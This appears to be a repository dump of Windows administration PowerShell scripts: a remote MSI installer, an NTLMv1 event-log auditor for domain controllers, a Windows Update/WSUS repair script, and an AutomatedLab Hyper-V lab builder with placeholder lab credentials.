37 | Install-MSI-RemotePS.ps1 -MSIFile "LAPS.X64.msi" -MSILocalWorkingDirectory "C:\temp\install" -ComputerListPath "C:\temp\servers.txt"
38 |
39 | This example installs the MSI with the name "LAPS.X64.msi" located in the local foler "C:\temp\install" to all the machines found
40 | in the file "C:\temp\servers.txt". The "LAPS.X64.msi" file is installed with the default parameter "/quiet"
41 | #>
42 |
43 |
44 | Function Install-RemoteMSI{
45 |
46 | [cmdletbinding(
47 | DefaultParameterSetName='default'
48 | )]
49 |
50 | Param(
51 | [parameter(
52 | Position=0,
53 | Mandatory = $true,
54 | ParameterSetName='default'
55 | )]
56 | [String]$MSILocalWorkingDirectory,
57 |
58 | [parameter(
59 | Position=1,
60 | Mandatory = $true,
61 | ParameterSetName='default'
62 | )]
63 | [String]$MSIFile="install.msi",
64 |
65 | [parameter(
66 | Mandatory=$false,
67 | ParameterSetName='default'
68 | )]
69 | [String]$MSIParam="/quiet",
70 |
71 | [parameter(
72 | Mandatory = $true,
73 | ParameterSetName='default'
74 | )]
75 | [String]$ComputerListPath,
76 |
77 | [parameter(
78 | Mandatory = $false,
79 | ParameterSetName='default'
80 | )]
81 | [switch]$OpenLog,
82 |
83 | [parameter(
84 | Mandatory = $false,
85 | ParameterSetName='default'
86 | )]
87 | [switch]$NoClear
88 |
89 | )
90 |
91 |
92 | $MSIRemoteWorkingDirectory = "C:\Windows\temp\$((New-Guid).Guid)"
93 | $LogFile = ("$env:windir\temp\$(get-date -f yyyy-MM-dd-hh-mm-ss).txt")
94 | $Tab = [char]9
95 | $start = get-date
96 |
97 | If(!(Test-Path (Join-Path $MSILocalWorkingDirectory $MSIFile))){
98 | Write-Error "Installer File does not exist, installation cannot continue" -ErrorAction Stop
99 | }
100 |
101 | If(!(Test-Path $ComputerListPath)){
102 | Write-Error "Server list does not exist, installation cannot continue" -ErrorAction Stop
103 | } Else
104 | {
105 | $ComputerNames = Get-Content -Path $ComputerListPath | where {$_.trim() -ne "" }
106 | }
107 |
108 | cls
109 |
110 | foreach($ComputerName in $ComputerNames){
111 |
112 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Installing on: $($ComputerName)"
113 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Starting on $($($ComputerName).ToUpper()) " | Out-File $LogFile -Append
114 |
115 | $ping = $null
116 | $Ping = Get-WmiObject -Class Win32_PingStatus -Filter "Address='$ComputerName' AND Timeout=1000"
117 |
118 |
119 | if ($Ping.IPV4Address){
120 |
121 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Machine $($($ComputerName).ToUpper()) Is Available" | Out-File $LogFile -Append
122 |
123 | Try
124 | {
125 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Creating session"
126 | $session = New-PSSession -ComputerName $computerName -ErrorAction SilentlyContinue
127 |
128 | If(!($session)){
129 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Session could not be created"
130 | throw $error[0].ErrorDetails
131 | } Else {
132 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Session with id $($session.ID) to $($($ComputerName).ToUpper()) Succesfully created" | Out-File $LogFile -Append
133 | }
134 |
135 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Copy installation files"
136 | Copy-Item -Path $MSILocalWorkingDirectory -Filter * -ToSession $session -Destination $MSIRemoteWorkingDirectory -Recurse -Force -ErrorVariable CopyFile -ErrorAction SilentlyContinue
137 |
138 | If($CopyFile){
139 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Installation files could not be copied"
140 | throw $error[0].ErrorDetails
141 | } Else {
142 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Installation files to $($($ComputerName).ToUpper()) succesfully copied" | Out-File $LogFile -Append
143 | }
144 |
145 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Installing on remote host"
146 | $MSIProcessExitCode = Invoke-Command -Session $session -ScriptBlock {
147 | $MSIProcess = Start-Process msiexec.exe -ArgumentList "/I $($args[1]) $($args[2])" -WorkingDirectory $($args[0]) -Wait -PassThru
148 | return $MSIProcess.ExitCode
149 |
150 | Remove-Item -Path $args[0] -Recurse -Force
151 |
152 | } -ArgumentList $MSIRemoteWorkingDirectory, $MSIFile, $MSIParam -ErrorAction SilentlyContinue
153 |
154 | If($MSIProcessExitCode -ne 0)
155 | {
156 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Installation was not successfull"
157 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Error MSI Error Code: $MSIProcessExitCode" | Out-File $LogFile -Append
158 | throw
159 | } Else {
160 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info $MSIFile on $($($ComputerName).ToUpper()) Succesfully Installed" | Out-File $LogFile -Append
161 | }
162 |
163 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Remove the session"
164 | Remove-PSSession $session
165 |
166 | If(!($Session.Availability -eq "None")){
167 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Session could not be terminated"
168 | throw $error[0].ErrorDetails
169 | } Else {
170 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Session ID $($Session.ID) to Machine $($($ComputerName).ToUpper()) succesfully terminated" | Out-File $LogFile -Append
171 | }
172 |
173 | Write-Verbose "$(get-date -f "hh:mm:ss:ms") $($Tab) $($($ComputerName).ToUpper()) succesfully installed"
174 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Succes $MSIFile on $($($ComputerName).ToUpper()) Installed" | Out-File $LogFile -Append
175 | }
176 |
177 | Catch {
178 | Write-Host "$($($ComputerName).ToUpper()) Was not succesfully installed, please review the log" -ForegroundColor Red
179 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Error $($error[0].FullyQualifiedErrorId)" | Out-File $LogFile -Append
180 | }
181 |
182 | } Else
183 | {
184 | Write-Host "$($($ComputerName).ToUpper()) can not be located or reached" -ForegroundColor Red
185 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Error $($($ComputerName).ToUpper()) could not be located or reached" | Out-File $LogFile -Append
186 | }
187 | }
188 |
189 | $end = get-date
190 | $TimeSpan = New-TimeSpan -Start $start -End $end
191 | Write-Verbose -Message ""
192 | Write-Verbose -Message "Total runtime was $([math]::Round($($TimeSpan.TotalSeconds),3)) seconds"
193 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Total runtime was $([math]::Round($($TimeSpan.TotalSeconds),3)) seconds" | Out-File $LogFile -Append
194 |
195 | If($OpenLog)
196 | {
197 | If(!($NoClear)){
198 | cls
199 | } Else {
200 | write-host ""
201 | }
202 |
203 | If(Test-Path $LogFile) {
204 | $Logcontent = Get-Content $LogFile
205 |
206 | Foreach($Line in $Logcontent) {
207 | If($line -like "*, Succes*") {
208 | Write-Host $Line -ForegroundColor Green
209 | } ElseIf ($line -like "*, Error*") {
210 | Write-Host $Line -ForegroundColor Red
211 | } Else {
212 | Write-Host $Line
213 | }
214 | }
215 | }
216 | }
217 |
218 | }
--------------------------------------------------------------------------------
/Scripts/Get-RemoteNTLMEvents.ps1:
--------------------------------------------------------------------------------
1 | #Requires -Version 5.1
2 |
3 | <#PSScriptInfo
4 | .VERSION 1.2
5 | .GUID 1b1d52f9-c6f9-4430-b67e-a17db25dbe7d
6 | .AUTHOR Michael Waterman
7 | .COMPANYNAME None
8 | .COPYRIGHT
9 | .TAGS NTLMv1, NTMLv2, LM, NTLM
10 | #>
11 |
12 | <#
13 | .SYNOPSIS
14 | Retreive NTLMv1 Event log data from remote servers
15 |
16 | .DESCRIPTION
17 | This script Retreives Event log data regarding NTLM V1 events from assigned servers and generates
18 | a CSV file from the data.
19 |
20 | Please note that this script requires a Windows Domain Joined Machin and the following Firewall
21 | rules to be applied for the domain profile:
22 |
23 | Remote Event Log Management (NP-In)
24 | Remote Event Log Management (RPC)
25 | Remote Event Log Management (RPC-EPMAP)
26 |
27 | .EXAMPLE
28 | Get-RemoteNTLMEvents.ps1
29 | Retreive all NTLM V1 events from all Domain Controllers.
30 |
31 | .EXAMPLE
32 | Get-RemoteNTLMEvents.ps1 -TimeFilter "24 Hours" -Servers SRV01,SRV02
33 | Retreive all NTLM V1 events from all given servers.
34 |
35 | .EXAMPLE
36 | Get-RemoteNTLMEvents.ps1 -Path C:\Events -TimeFilter "24 Hours"
37 | Retreives all NTLM V1 events from all Domain Controllers and store the csv file in c:\Events.
38 |
39 | .EXAMPLE
40 | Get-RemoteNTLMEvents.ps1 -TimeFilter "24 Hours" -AuthFilter 'LM, NTLMv1, NTLMv2'
41 | Retreives all NTLM events from all Domain Controllers and store the csv file in c:\Events.
42 |
43 | .EXAMPLE
44 | Get-RemoteNTLMEvents.ps1 -Servers log -Logname ForwardedEvents -TimeFilter 'Last 30 days'
45 | retreives all NTMLv1 and LM event between now and 30 days ago, from a WEF server (Event Log: ForwardedEvents)
46 |
47 | .NOTES
48 | AUTHOR: Michael Waterman
49 | Blog: https://michaelwaterman.nl
50 | LASTEDIT: 2023.11.26
51 | #>
52 |
53 | # Parameter input
54 | ##############################################################################################
55 | [CmdletBinding(DefaultParameterSetName="Default")]
56 | param(
57 | [Parameter(
58 | Mandatory=$false
59 | )]
60 | [string]$Path="C:\Events",
61 | [Parameter(
62 | Mandatory=$false
63 | )]
64 | [ValidateSet(
65 | "Last Hour",
66 | "Last 12 Hours",
67 | "Last 24 Hours",
68 | "Last 7 days",
69 | "Last 30 days"
70 | )]
71 | [string]$TimeFilter="Last 24 Hours",
72 | [Parameter(
73 | Mandatory=$false,
74 | ParameterSetName = 'Default'
75 | )]
76 | [switch]$DC=$True,
77 | [Parameter(
78 | Mandatory=$true,
79 | ParameterSetName = 'Servers'
80 | )]
81 | [array]$Servers,
82 | [Parameter(
83 | Mandatory=$false
84 | )]
85 | [ValidateSet(
86 | "Security",
87 | "ForwardedEvents"
88 | )]
89 | [array]$Logname="Security",
90 | [Parameter(
91 | Mandatory=$false
92 | )]
93 | [ValidateSet(
94 | "LM and NTLMv1",
95 | "NTLMv2",
96 | "LM, NTLMv1, NTLMv2"
97 | )]
98 | [string]$AuthFilter = "LM and NTLMv1"
99 | )
100 | ##############################################################################################
101 |
102 |
103 | # Check Presence Of ActiveDirectory Module
104 | ##############################################################################################
105 | If($DC){
106 | If (-not (Get-Module -ListAvailable | Where-Object Name -eq "ActiveDirectory") ){
107 | Write-Error "ActiveDirectory Module not found. Please install the RSAT Active Directory Module"
108 | Return
109 | }
110 | }
111 | ##############################################################################################
112 |
113 |
114 | # Check Local Directory
115 | ##############################################################################################
116 | If(-not (Test-Path $Path) ){
117 | New-Item -Path $Path -ItemType Directory -ErrorAction Stop | Out-Null
118 | }
119 | ##############################################################################################
120 |
121 |
122 | # Create Full Path to Log File
123 | ##############################################################################################
124 | $LogFile = Join-Path -Path $Path -ChildPath "$((Get-Date).Day)-$((Get-Date).Month)-$((Get-Date).Year)-$((Get-Date).Hour)-$((Get-Date).Minute)-$((Get-Date).Second)_NTLM.csv"
125 | ##############################################################################################
126 |
127 |
128 | # Construct TimeFilter Switch
129 | ##############################################################################################
130 | switch ( $TimeFilter )
131 | {
132 | "Last Hour" { $TimeRange = 3600000 }
133 | "Last 12 Hours" { $TimeRange = 43200000 }
134 | "Last 24 Hours" { $TimeRange = 86400000 }
135 | "Last 7 days" { $TimeRange = 604800000 }
136 | "Last 30 days" { $TimeRange = 2592000000 }
137 | }
138 | ##############################################################################################
139 |
140 |
141 | # Construct Authentication Protocol Switch
142 | ##############################################################################################
143 | Switch ( $AuthFilter )
144 | {
145 | "LM and NTLMv1" { $AuthRange = "Data='NTLM V1' or Data='LM'" }
146 | "NTLMv2" { $AuthRange = "Data='NTLM V2'" }
147 | "LM, NTLMv1, NTLMv2" { $AuthRange = "Data='NTLM V1' or Data='LM' or Data='NTLM V2'" }
148 |
149 | }
150 | ##############################################################################################
151 |
152 |
153 | # Obtain all domain controllers
154 | ##############################################################################################
155 | If($DC){
156 | $DomainControllers = Get-ADDomainController -filter *
157 | }
158 | ##############################################################################################
159 |
160 |
161 | # Construct the XPath filter
162 | ##############################################################################################
163 | $XPATH = "*[System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= $($TimeRange)]]] and Event[EventData[Data[@Name='LmPackageName'] and ($($AuthRange))]]"
164 | ##############################################################################################
165 |
166 |
167 | # Main Function get-NTLMv1Events
168 | ##############################################################################################
169 | Function Get-NTLMv1Events($hostname){
170 |
171 | Write-Host "Analysing host $hostname, please wait..." -ForegroundColor Green
172 |
173 | try {
174 |
175 | $NTLMv1Events = Get-WinEvent -LogName $Logname -FilterXPath $xpath -ComputerName $hostname -ErrorAction SilentlyContinue
176 |
177 | $NTLMv1Events | ForEach-Object {
178 | $RetObject = [ordered]@{
179 | TimeCreated = $_.TimeCreated
180 | MachineName = $_.MachineName
181 | ProviderName = $_.ProviderName
182 | LogName = $_.LogName
183 | ID = $_.ID
184 | Keywords = $_.Keywords
185 | KeywordsDisplayNames = $_.KeywordsDisplayNames
186 | Level = $_.Level
187 | LevelDisplayName = $_.LevelDisplayName
188 | Message = $_.Message
189 | }
190 | ([xml]$_.ToXml()).Event.EventData.Data | ForEach-Object {
191 | try {
192 | $RetObject[$_.Name] = if (Get-Member -InputObject $_ -Name '#text') {
193 | $_.'#text'}
194 | else { $null }
195 | }
196 | catch {
197 | Write-Debug "[$($MyInvocation.MyCommand)] $($Error[0].Exception.Message) [$($Error[0].Exception.GetType().FullName)]"
198 | }
199 | }
200 |
201 | $Data = [PSCustomObject]$RetObject | Select-Object TimeCreated, MachineName, WorkstationName, IpAddress, IpPort, TargetUserName, TargetDomainName, ProcessId, LogonType, LmPackageName
202 | Export-Csv -InputObject $data -Path $LogFile -Delimiter "," -Append -NoTypeInformation
203 | }
204 | }
205 | catch {
206 | Write-Output $($Error[0].Exception.Message)
207 | }
208 | }
209 | ##############################################################################################
210 |
211 |
212 | # Get Event logs from Specified Servers
213 | ##############################################################################################
214 | If($Servers){
215 | $DC=$false
216 | foreach($Server in $Servers){
217 | Get-NTLMv1Events $Server
218 | }
219 | }
220 | ##############################################################################################
221 |
222 |
223 | # Get Event logs from Domain Controllers
224 | ##############################################################################################
225 | If($DC){
226 | Foreach($DomainController in $DomainControllers){
227 |
228 | Get-NTLMv1Events($DomainController.HostName)
229 | }
230 | }
231 | ##############################################################################################
232 |
--------------------------------------------------------------------------------
/Scripts/Repair-WSUSUpdates.ps1:
--------------------------------------------------------------------------------
1 | [cmdletBinding()]
2 | Param(
3 | [parameter(Mandatory=$false)]
4 | [int]$WaitInSeconds = 300,
5 |
6 | [parameter(Mandatory=$false)]
7 | [int]$TripCycles = 3,
8 |
9 | [parameter(Mandatory=$false)]
10 | [string]$WUServer,
11 |
12 | [parameter(Mandatory=$false)]
13 | [switch]$RepairWU,
14 |
15 | [parameter(Mandatory=$false)]
16 | [switch]$DoCLeanUp
17 | )
18 |
19 | function Get-MDTWSUSServer {
20 | [cmdletBinding()]
21 | param (
22 | [parameter(Mandatory=$false)]
23 | $MDTVariablesPath = 'C:\MININT\SMSOSD\OSDLOGS\VARIABLES.DAT'
24 | )
25 |
26 | switch ( Test-Path -Path $MDTVariablesPath ) {
27 | $true {
28 | [XML]$XML = Get-Content -Path $MDTVariablesPath
29 | $XML.SelectSingleNode('//MediaVarList/var[@name="WSUSSERVER"]').InnerText
30 | }
31 | }
32 | }
33 |
34 | function New-RegistryEntry {
35 | [cmdletBinding()]
36 | param (
37 | [parameter(Mandatory=$true)]
38 | $SetRegPath,
39 |
40 | [parameter(Mandatory=$true)]
41 | $SetRegName,
42 |
43 | [parameter(Mandatory=$true)]
44 | $SetRegValue,
45 |
46 | [parameter(Mandatory=$true)]
47 | [ValidateSet('String','ExpandString','Binary', 'DWord', 'MultiString', 'Qword')]
48 | $SetRegPropertyType
49 | )
50 |
51 | switch (Test-Path -Path $SetRegPath ) {
52 | $true {
53 | New-ItemProperty -Path $SetRegPath `
54 | -Name $SetRegName `
55 | -Value $SetRegValue `
56 | -PropertyType $SetRegPropertyType `
57 | -Force | Out-Null
58 | }
59 | $false {
60 | New-Item -Path $SetRegPath -Force | Out-Null
61 |
62 | New-ItemProperty -Path $SetRegPath `
63 | -Name $SetRegName `
64 | -Value $SetRegValue `
65 | -PropertyType $SetRegPropertyType `
66 | -Force | Out-Null
67 | }
68 | }
69 | }
70 |
71 | function Remove-RegistryEntry {
72 | [cmdletBinding()]
73 | param (
74 | [parameter(Mandatory=$true)]
75 | $DelRegPath,
76 |
77 | [parameter(Mandatory=$true)]
78 | $DelregValue
79 | )
80 |
81 | if ( Test-Path -Path $DelRegPath ){
82 |
83 | If( (Get-Item -Path $DelRegPath).GetValue($DelregValue) ){
84 | Remove-ItemProperty -Path $DelRegPath -Name $DelregValue -Force
85 | }
86 | }
87 |
88 | if (Test-Path -Path $DelRegPath){
89 |
90 | if ( ( (Get-Item -Path $DelRegPath | Select-Object -ExpandProperty property).count ) -eq 0 ){
91 | Remove-Item -Path $DelRegPath -Force
92 | }
93 | }
94 | }
95 |
96 | function Repair-WindowsUpdate {
97 | Set-Service -Name wuauserv -StartupType Manual
98 | Set-Service -Name BITS -StartupType Manual
99 |
100 | switch ( Get-Service -Name BITS ) {
101 | { $_.Status -eq 'Running' } { Stop-Service -Name BITS -Force }
102 | }
103 |
104 | switch ( Get-Service -Name wuauserv ) {
105 | { $_.Status -eq 'Running' } { Stop-Service -Name wuauserv -Force }
106 | }
107 |
108 | switch ( Test-Path -Path "C:\Windows\SoftwareDistribution" -PathType Container ) {
109 | $true { Remove-Item -Path "C:\Windows\SoftwareDistribution\*" -Recurse -Force -ErrorAction SilentlyContinue }
110 | }
111 |
112 | switch ( Test-Path -Path "C:\Windows\WindowsUpdate.log" -PathType Leaf ) {
113 | $true { Remove-Item -Path "C:\Windows\WindowsUpdate.log" -Force -ErrorAction SilentlyContinue }
114 | }
115 |
116 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\atl.dll }
117 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\jscript.dll }
118 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\msxml3.dll }
119 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\softpub.dll }
120 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuapi.dll }
121 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuaueng.dll }
122 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuaueng1.dll}
123 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wucltui.dll }
124 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wups.dll }
125 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuweb.dll }
126 |
127 | switch ( Get-Service -Name BITS ) {
128 | { $_.Status -eq 'Stopped' } { Start-Service -Name BITS -Force }
129 | }
130 |
131 | switch ( Get-Service -Name wuauserv ) {
132 | { $_.Status -eq 'Stopped' } { Start-Service -Name wuauserv -Force }
133 | }
134 | }
135 |
136 | function Update-WSUSCache {
137 | [cmdletBinding()]
138 | param (
139 | [parameter(Mandatory=$false)]
140 | [int]$WaitInSeconds = 300,
141 |
142 | [parameter(Mandatory=$false)]
143 | [int]$TripCycles = 3
144 | )
145 |
146 | foreach ($Counter in 1..($TripCycles -1) ){
147 | switch ($Counter) {
148 | 1 {
149 | Write-Output "Initializing run $($Counter), waiting for $($WaitInSeconds) seconds"
150 | Invoke-Command -ScriptBlock { wuauclt /resetauthorization /detectnow /reportnow }
151 | Start-Sleep -Seconds $WaitInSeconds
152 | }
153 | }
154 |
155 | $Counter++
156 |
157 | Write-Output "Initializing run $($Counter), waiting for $($WaitInSeconds) seconds"
158 | Start-Sleep -Seconds $WaitInSeconds
159 | Invoke-Command -ScriptBlock { wuauclt.exe /detectnow /reportnow }
160 | }
161 | }
162 |
163 | switch ( $(Get-MDTWSUSServer) ) {
164 | { !([string]::IsNullOrEmpty($_)) } {
165 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' `
166 | -SetRegName 'WUServer' `
167 | -SetRegValue $(Get-MDTWSUSServer) `
168 | -SetRegPropertyType 'String'
169 |
170 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' `
171 | -SetRegName 'WUStatusServer' `
172 | -SetRegValue $(Get-MDTWSUSServer) `
173 | -SetRegPropertyType 'String'
174 |
175 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' `
176 | -SetRegName 'UseWUServer' `
177 | -SetRegValue 1 `
178 | -SetRegPropertyType 'DWord'
179 |
180 | switch ( Get-Service -Name wuauserv ) {
181 | { $_.Status -eq 'Stopped' } { Start-Service -Name wuauserv }
182 | { $_.Status -eq 'Running' } { Restart-Service -Name wuauserv }
183 | }
184 | }
185 | }
186 |
187 | switch ($WUServer) {
188 | { !([string]::IsNullOrEmpty($_)) } {
189 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' `
190 | -SetRegName 'WUServer' `
191 | -SetRegValue $WUServer `
192 | -SetRegPropertyType 'String'
193 |
194 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' `
195 | -SetRegName 'WUStatusServer' `
196 | -SetRegValue $WUServer `
197 | -SetRegPropertyType 'String'
198 |
199 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' `
200 | -SetRegName 'UseWUServer' `
201 | -SetRegValue 1 `
202 | -SetRegPropertyType 'DWord'
203 |
204 | switch ( Get-Service -Name wuauserv ) {
205 | { $_.Status -eq 'Stopped' } { Start-Service -Name wuauserv }
206 | { $_.Status -eq 'Running' } { Restart-Service -Name wuauserv }
207 | }
208 | }
209 | }
210 |
211 | switch ( Test-Path -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' ) {
212 | $true {
213 | switch ( (Get-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate').GetValue('WUServer') ) {
214 | {[string]::IsNullOrEmpty($_)} { Write-Error -Message "No WSUS Server could be located, this script cannot continue" -ErrorAction Stop }
215 | { !([string]::IsNullOrEmpty($_)) } { Update-WSUSCache -WaitInSeconds $WaitInSeconds -TripCycles $TripCycles }
216 | }
217 | }
218 | $false { Write-Error -Message "No WSUS Server could be located, this script can not continue" -ErrorAction Stop }
219 | }
220 |
221 | switch ($RepairWU) {
222 | $true { Repair-WindowsUpdate }
223 | }
224 |
225 | switch ($DoCLeanUp) {
226 | $true {
227 | Remove-RegistryEntry -DelRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -DelregValue 'UseWUServer'
228 | Remove-RegistryEntry -DelRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' -DelregValue 'WUServer'
229 | Remove-RegistryEntry -DelRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' -DelregValue 'WUStatusServer'
230 |
231 | switch ( Get-Service -Name wuauserv ) {
232 | { $_.Status -eq 'Stopped' } { Start-Service -Name wuauserv }
233 | { $_.Status -eq 'Running' } { Restart-Service -Name wuauserv }
234 | }
235 | }
236 | }
--------------------------------------------------------------------------------
/Scripts/AutomatedLab/Source-Lab.ps1:
--------------------------------------------------------------------------------
1 | ### Notes
2 | ### When removing the lab, do:
3 | ### Remove-Lab -Name Security -RemoveExternalSwitches
4 | ### Remove the Lab Switch Manually
5 | ### get-LabVirtualNetworkDefinition | remove-LabVirtualNetworkDefinition
6 | ### get-LabVirtualNetworkDefinition (Check if anything is left)
7 | ### ipconfig /flushdns
8 | ############################################################################
9 |
10 | $LabDefinition = 'Security'
11 | $LabVirtualNetworkDefinition = 'Lab - Virtual Switch'
12 | $LabVirtualNetworkDefinitionExt = 'External Virtual Switch'
13 | $AddressSpace = '192.168.66.0/24'
14 | $LabDomainDefinition = 'security.local'
15 | $AdminUserName = 'Superuser'
16 | $AdminPassword = 'P@ssw0rd!'
17 | $HyperVProperties = @{
18 | EnableSecureBoot = 'On'
19 | SecureBootTemplate = 'MicrosoftWindows'
20 | EnableTpm = 'true'
21 | }
22 | $RSATIsoFile = "D:\ISO\Features\mul_windows_11_languages_and_optional_features_x64_dvd_dbe9044b.iso"
23 | $ManagementComputerName = 'LAB-PAW01'
24 | $TotalNumberOfServers = 2
25 | $TotalNumberOfEndPoints = 2
26 | $AddServer2016 = $false
27 | $AddServer2019 = $false
28 |
29 | #Create an empty lab template
30 | New-LabDefinition -Name $LabDefinition `
31 | -DefaultVirtualizationEngine HyperV `
32 | -VmPath "C:\AutomatedLab-VMs"
33 |
34 | # Define the Network (AddressSpace (e.g. -AddressSpace 192.168.1.0/24) is optional, if not set it will automatically be selected)
35 | # use get-vmswitch for the name of the switch, used in -Name
36 | # use get-netadapter to get the name of the adapter it should get attached to (used in AdapterName)
37 | Add-LabVirtualNetworkDefinition -Name $LabVirtualNetworkDefinition `
38 | -AddressSpace $AddressSpace
39 | Add-LabVirtualNetworkDefinition -Name $LabVirtualNetworkDefinitionExt `
40 | -HyperVProperties @{SwitchType = 'External'; AdapterName = 'vEthernet (External Virtual Switch)'}
41 |
42 | #Create the network definition for the router
43 | $NetAdapterRouter = @()
44 | $NetAdapterRouter += New-LabNetworkAdapterDefinition -VirtualSwitch $LabVirtualNetworkDefinition
45 | $NetAdapterRouter += New-LabNetworkAdapterDefinition -VirtualSwitch $LabVirtualNetworkDefinitionExt -UseDhcp
46 |
47 | #Set the domain definition with the domain admin account
48 | Add-LabDomainDefinition -Name $LabDomainDefinition `
49 | -AdminUser $AdminUserName `
50 | -AdminPassword $AdminPassword
51 |
52 | #Set the installation credentials
53 | Set-LabInstallationCredential -Username $AdminUserName `
54 | -Password $AdminPassword
55 |
56 | #Set the parameters that are the same for all machines
57 | $PSDefaultParameterValues = @{
58 | 'Add-LabMachineDefinition:Network' = $LabVirtualNetworkDefinition
59 | 'Add-LabMachineDefinition:Processors' = 4
60 | 'Add-LabMachineDefinition:Memory' = 2GB
61 | 'Add-LabMachineDefinition:MinMemory'= 1GB
62 | 'Add-LabMachineDefinition:MaxMemory'= 2GB
63 | 'Add-LabMachineDefinition:OperatingSystem' = 'Windows Server 2022 Standard Evaluation (Desktop Experience)'
64 | 'Add-LabMachineDefinition:EnableWindowsFirewall'= $true
65 | }
66 |
67 | #Defining LAB machines
68 | Add-LabMachineDefinition -Name "LAB-DC01" `
69 | -DomainName $LabDomainDefinition `
70 | -Roles RootDC
71 |
72 | #Add-LabMachineDefinition -Name "LAB-DC02" `
73 | # -DomainName $LabDomainDefinition `
74 | # -Roles DC
75 |
76 | Add-LabMachineDefinition -Name "LAB-EDGE" `
77 | -Roles Routing `
78 | -NetworkAdapter $NetAdapterRouter
79 |
80 | Add-LabMachineDefinition -Name $ManagementComputerName `
81 | -OperatingSystem 'Windows 11 Enterprise Evaluation' `
82 | -DomainName $LabDomainDefinition `
83 | -HyperVProperties $HyperVProperties
84 |
85 | #Add Servers to the domain
86 | for ($AmountOfServers = 1; $AmountOfServers -le $TotalNumberOfServers; $AmountOfServers++) {
87 | Add-LabMachineDefinition -Name ("LAB-SRV0" + $AmountOfServers) `
88 | -DomainName $LabDomainDefinition
89 | }
90 |
91 | If ($AddServer2016){
92 | $TotalNumberOfServers++
93 | Add-LabMachineDefinition -Name ("LAB-SRV0" + $TotalNumberOfServers ) `
94 | -DomainName $LabDomainDefinition `
95 | -OperatingSystem 'Windows Server 2016 Standard Evaluation (Desktop Experience)'
96 | }
97 |
98 | If ($AddServer2019){
99 | $TotalNumberOfServers++
100 | Add-LabMachineDefinition -Name ("LAB-SRV0" + $TotalNumberOfServers) `
101 | -DomainName $LabDomainDefinition `
102 | -OperatingSystem 'Windows Server 2019 Standard Evaluation (Desktop Experience)'
103 | }
104 |
105 | #Add EndPoints to the domain
106 | for ($AmountOfEndPoints = 1; $AmountOfEndPoints -le $TotalNumberOfEndPoints; $AmountOfEndPoints++) {
107 | Add-LabMachineDefinition -Name ("LAB-ENDPOINT0" + $AmountOfEndPoints) `
108 | -OperatingSystem 'Windows 11 Enterprise Evaluation' `
109 | -DomainName $LabDomainDefinition `
110 | -HyperVProperties $HyperVProperties
111 | }
112 |
113 | # Install the LAB
114 | Install-Lab
115 |
116 | # Install The RSAT Tools on the PAW
117 | Mount-LabIsoImage -ComputerName $ManagementComputerName `
118 | -IsoPath $RSATIsoFile `
119 | -PassThru
120 |
121 | #Install RSAT Tools
122 | Invoke-LabCommand -ComputerName $ManagementComputerName `
123 | -ActivityName "Install RSAT Tools" `
124 | -ScriptBlock {$drive = ( Get-CimInstance Win32_CDROMDrive).Drive ;Get-WindowsCapability -Online | Where-Object Name -like "Rsat*"| Add-WindowsCapability -Online -Source (Join-Path -Path $drive -ChildPath "LanguagesAndOptionalFeatures") -LimitAccess} -PassThru
125 |
126 | Dismount-LabIsoImage -ComputerName $ManagementComputerName
